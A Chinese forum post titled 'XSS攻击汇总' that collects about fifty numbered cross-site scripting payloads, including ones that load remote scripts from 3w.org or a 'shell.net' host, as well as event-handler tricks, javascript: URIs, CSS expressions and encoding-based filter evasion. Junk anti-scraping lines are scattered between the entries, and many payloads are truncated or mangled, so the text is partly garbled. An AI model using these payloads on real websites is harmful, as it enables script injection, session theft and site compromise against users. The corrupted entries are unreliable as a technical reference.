中国网络渗透测试联盟
标题:
XSS攻击汇总
[打印本页]
作者:
admin
时间:
2016-4-28 10:06
标题:
XSS攻击汇总
(1)普通的XSS JavaScript注入
) ?& x& `0 _# u- o+ m
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
# o/ s, b2 t3 i4 T! @
(99)另类弹框
P3 q2 n' p2 T+ Y A Z' W
<q/oncut=alert()>1
4 @* x0 z4 K& b
<s/onclick=alert()>b
* L# f8 _6 @& ~
<XSS=" onclick="alert(1)//">clickme</SSX=">
5 g7 H/ L0 Z) G: B8 S
<zzz onclick=alert`1`>clickme</zzz>
& x) H s& I( [( S$ z3 l
<a onclick=alert`1`>clickme</a>
! x* D) f+ k3 G+ ]2 f
<a=">clickme</a=">
% Y/ f% J, A K" u) `/ S6 |
<a=">clickme</a>
+ q- T) p$ V- J! r% N, ^
<z=">clickme</z=">
0 c0 X: ~8 j) U) S, D q
<z onclick=alert`1`>clickme</z>
5 @7 k5 K- p, V. S
. ^$ Q1 P+ w- } j
(2)IMG标签XSS使用JavaScript命令
4 Z! i( c: y; I: p+ n
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ A. K" S* [- q
& j' _3 F# P+ [( A8 i
(3)IMG标签无分号无引号
7 V; {5 N; t) @* J
<IMG SRC=javascript:alert(‘XSS’)>
d- k. J# X: Q2 {- ]
' i9 H8 w- K) q; M2 b) z
(4)IMG标签大小写不敏感
' m) t7 R9 b% j5 G* _( a
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
$ k) z8 B8 g$ e( s
" }! j( ?. y- c, z5 e/ m
(5)HTML编码(必须有分号)
2 L5 M9 r& F' [ O U/ O
<IMG SRC=javascript:alert(“XSS”)>
: ?9 W# {- f9 H& k
- |( j% }* E z* y
(6)修正缺陷IMG标签
3 ^8 t# I n6 v% {. d8 M) H
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
& u: D: U" c1 r; d6 {
% ]. A- x, ~; P" S
(7)formCharCode标签(
计算器
)
" `5 k2 d$ ^4 \/ F
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
- y3 a9 a5 l( i9 i5 Z' g" K
: P R! _: U- ]# O
(8)UTF-8的Unicode编码(
计算器
)
4 r0 o& ]: k: [. g/ o
<IMG SRC=jav..省略..S')>
& G' J0 D. `# I- u6 ?( _+ f
( u9 r+ D4 r9 R
(9)7位的UTF-8的Unicode编码是没有分号的(
计算器
)
" i7 Z. x: p- `+ ^# }% Y' [
<IMG SRC=jav..省略..S')>
: U9 H( C% S1 F5 ]1 e8 \: b
9 ~3 [- ^- l$ B) e
(10)十六进制编码也是没有分号(
计算器
)
* O5 S3 {" J6 v, E7 P) V, H" S
<IMG SRC=\'#\'" /span>
( T8 m0 u- [) ~% l2 ]# {
; A* h5 |+ H; {2 R& H( N' F8 _
(11)嵌入式标签,将Javascript分开
9 B9 e& b" n6 q- o }
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
J4 b: W( [+ D5 M# C
, m2 G) L, a4 h% ^. V8 w+ H6 P
(12)嵌入式编码标签,将Javascript分开
& n! L$ z' \# A4 j7 d
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
7 [+ N9 `5 T h4 D8 m
% i4 S( n6 }: p7 } W' m
(13)嵌入式换行符
( D: T& f& U) `, b( m5 e) s8 K0 S
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
' Q0 H4 q1 F: E8 r& Q2 H
, J$ K) K) a; K8 W
(14)嵌入式回车
2 Q" {/ t! |3 C8 I# ^% a$ w: ]! ]
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
: D+ b+ o' w" r+ v7 U
9 |5 G3 z- W/ X% o# G$ v
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
" Q* L3 f5 I% d+ k3 o
<IMG SRC=\'#\'" /span>
& P' a1 p7 h& Z9 w5 n W5 M& Q
( b6 O5 z' z. W
(16)解决限制字符(要求同页面)
! @& g8 ]- J- U) D$ p2 P
<script>z=’document.’</script>
. I+ A, c h6 W( _7 P5 t( ^+ Q" E
<script>z=z+’write(“‘</script>
+ m4 d3 w8 X- [+ _9 k( ]: ?
<script>z=z+’<script’</script>
J% Q m8 K" t2 S: G
<script>z=z+’ src=ht’</script>
1 Q B( [- y3 ?9 {( C+ u
<script>z=z+’tp://ww’</script>
/ {1 x9 G/ ]* X. v
<script>z=z+’w.shell’</script>
1 |$ O" w' D) @, s2 l0 `
<script>z=z+’.net/1.’</script>
( m) Z6 ?7 ?' C6 I) x: x
<script>z=z+’js></sc’</script>
2 U/ c% K: Z- ^
<script>z=z+’ript>”)’</script>
p8 Z1 c8 }0 p& t8 o6 n
<script>eval_r(z)</script>
; [( g$ j/ b. N7 j
: V4 c. D8 E& E% A5 ?( k
(17)空字符
3 v) x1 C3 u ^/ R$ o: d
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
" v/ ]' B6 Z- l% U: v" T% ~! Y
' W. @+ P5 V1 P( q- W
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
9 x x: r! O# j6 c- [# |+ V6 o" {
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
0 A' S* p3 C! \9 D- j5 k. i
: m y2 }* p. f& I3 B2 W
(19)Spaces和meta前的IMG标签
; u+ g( Z8 a u" {
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
5 E. E( H1 m( @, ~" k# S+ `" h' G
% G- x$ @" G( V1 [( A, o" [
(20)Non-alpha-non-digit XSS
8 V+ n# w4 E. U# @
<SCRIPT/XSS SRC=\'#\'" /span>
http://3w.org/XSS/xss.js
”></SCRIPT>
7 W# I. t$ q+ A6 p! T; n. d- @) x
/ F' U5 x# V9 T9 E# J
(21)Non-alpha-non-digit XSS to 2
4 f+ `: Y8 R0 I9 U5 {9 a8 x5 [
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
$ T7 s% \ \* |/ @
4 B0 ]' Z/ [3 |, G" X
(22)Non-alpha-non-digit XSS to 3
* j- G" q- {/ s/ l7 o
<SCRIPT/SRC=\'#\'" /span>
http://3w.org/XSS/xss.js
”></SCRIPT>
; X' @/ P/ V* m3 r
" w! e t" j! ]2 ~1 B6 _
(23)双开括号
7 \% }5 \/ n# }. `7 E" s
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
$ l# v# r, a: z' B1 M
3 |6 g2 q5 c6 W) h: r _; j
(24)无结束脚本标记(仅火狐等浏览器)
8 Z) E- X4 z- d. R9 l: G8 K' M; |
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
- r- `) {, h7 x8 V8 O4 Q- T' Y, a, M
# Y/ u2 K& \" a) i; N9 \2 h8 D
(25)无结束脚本标记2
9 s6 v& f+ E% F$ n' k
<SCRIPT SRC=//3w.org/XSS/xss.js>
# V) _ _6 u' u
7 k& b- I4 _' m {. e7 c
(26)半开的HTML/JavaScript XSS
4 R3 Z2 D) l1 g* ~
<IMG SRC=\'#\'" /span>
8 P8 I4 c. o2 k6 R/ ~; x
0 {; M$ N; E5 X. K. u
(27)双开角括号
1 A q3 V5 b' a5 n
<iframe src=http://3w.org/XSS.html <
( [8 O7 i0 o2 F) B- m" ~
& y1 D! ~+ ]+ }, x
(28)无单引号 双引号 分号
( K7 @& l& F; F7 i
<SCRIPT>a=/XSS/
4 P8 T+ H2 k8 h. H9 |8 ]5 C4 U
alert(a.source)</SCRIPT>
" Y& k: }- I6 [; u9 r/ ]" n1 z, ?
% u" k+ Z. ~0 I% P# r& t' I. J
(29)换码过滤的JavaScript
5 A% G9 `6 t, e7 U3 [6 k7 }
\”;alert(‘XSS’);//
! H1 [3 \% K7 O+ ~/ D% W1 n- n9 L
/ F$ i/ {( @8 @ \
(30)结束Title标签
1 }5 i6 M2 _2 n2 \) F
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
I: D. }* e! x0 \+ \4 m. o* u( O
9 ~2 F9 f3 z7 d& o% z
(31)Input Image
2 R) {7 I( S, k0 X1 N2 K; l
<INPUT SRC=\'#\'" /span>
' o I3 a/ w3 l) ^/ d2 Y1 A3 O
, [; S# C9 h) \+ ]
(32)BODY Image
+ M4 z$ z2 S* s
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
& R( J2 N/ S( z8 u+ u
7 V5 d( D9 a8 e- ]" q L( S
(33)BODY标签
" K. q5 @3 N1 N2 [/ }0 B/ i2 J/ e! c
<BODY(‘XSS’)>
% K# v4 W" U/ g# [$ |4 z, ^8 c4 c
1 l& X% U) F5 _6 C; W
(34)IMG Dynsrc
7 S* i- n+ ~1 S/ a3 ~
<IMG DYNSRC=\'#\'" /span>
' C& l7 o* A, ?4 a* b: M
% S+ P- V$ y e! S( ~
(35)IMG Lowsrc
# I* r+ F; b9 h6 U+ w" P
<IMG LOWSRC=\'#\'" /span>
" W8 e4 y4 C3 S+ \
( f3 `: ^6 L# K5 ~) ]
(36)BGSOUND
1 V+ R8 Z! D2 }" X6 i* T6 y
<BGSOUND SRC=\'#\'" /span>
( {) y! T4 l" D
* b! d9 ~( D3 j c8 c
(37)STYLE sheet
) a( d2 o' c. a! S2 P- o' d8 M
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
! Z& `, }# Q/ W# @+ W8 A7 e
9 s& u& ^6 S) _& e, E
(38)远程样式表
+ S0 S( S9 ? u3 r" k Z, E- u& J
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
, k# y& g/ ?6 x7 _$ p2 f" U
- b2 v A$ Y7 ]. T+ l6 q) U* h. I2 z
(39)List-style-image(列表式)
0 |1 @; \5 m4 w
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
+ }5 u- e9 E$ t, ?9 y; N- e, m/ w2 e
& w2 ~" M) D, _9 }8 U4 }; ~; L8 |
(40)IMG VBscript
" i3 K6 E* G4 u4 S5 ~
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
; o. S c4 |0 H; r8 v
' L9 N1 U2 R; c0 m
(41)META链接url
6 F1 S2 N8 F! G Q/ ]; ~5 K
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
7 s% Y2 g% b9 X1 D m+ Y2 u
; H! [3 N, X6 M7 |) D: A
(42)Iframe
; t- r8 K3 L6 ~" c c3 c& T, S) b
<IFRAME SRC=\'#\'" /IFRAME>
8 @- N$ p8 E A
7 a$ S; b8 M" Z5 z' p: }% M
(43)Frame
5 O. H7 c& S) M* T0 g) M
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
) m+ p( v% O5 R% m4 N" @( a
& C! d' D% g4 s8 v8 ]
(44)Table
6 X/ ?1 \' ^/ L) l
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
2 e& g# s6 `7 B4 U$ z, Q; k/ K1 n
( ~; c6 J$ z0 e
(45)TD
) b4 c( Y5 }* y7 `$ O# v
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
. r. D# w( u. K& j/ `
; j: I8 V* [9 }1 O$ }8 h% t
(46)DIV background-image
* C* Y% w$ m2 H# y( e% U& n
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
& M: z( i, A, {
% L1 J" ~# T c+ T5 d, S( O2 h
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
) V: ]" w9 r( N; Y5 x
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
6 `$ c8 c" m; w" ?# I- E
7 D8 o3 ]- A3 [$ u. I
(48)DIV expression
" r% P/ s, e( o
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
8 ] F6 X# Q: D1 @9 ^
# c' j1 l7 D& f* |
(49)STYLE属性分拆表达
+ F3 j* @/ |3 q; C5 F4 ]8 U5 d
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
$ C4 G7 p- M4 F, p- X
w) I( c4 a% F, }( h
(50)匿名STYLE(组成:开角号和一个字母开头)
0 H8 y. Q9 \+ J; `4 W j
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
1 r) u( D9 G# g, e
: a% U9 {8 e5 ?6 o1 x6 {( _
(51)STYLE background-image
$ c9 d; |( `& Z
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
) C5 ~9 R0 d" `8 O0 d. `8 B
& K* I% I7 r- _/ l6 D) I
(52)IMG STYLE方式
+ h: e) B5 |+ j' o, Y# U
exppression(alert(“XSS”))’>
$ T% C3 K6 q2 a! B2 m# \
/ N( a3 W4 }; q; G" e
(53)STYLE background
5 [- H% C$ O1 c
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
6 ?' {3 ?5 \ [# B. n- a
; h5 i5 I& F# _$ w5 s
(54)BASE
" o: E: }, Z9 _" O$ e* M
<BASE HREF=”javascript:alert(‘XSS’);//”>
4 O8 \8 n ]' a. i4 z
6 s* w4 |: s9 _& A7 A+ H7 W6 k/ w
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
: o6 _! N3 L& f) s
<EMBED SRC=\'#\'" /span>
http://3w.org/XSS/xss.swf
” ></EMBED>
1 J$ T9 Y% O; u" }- a
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2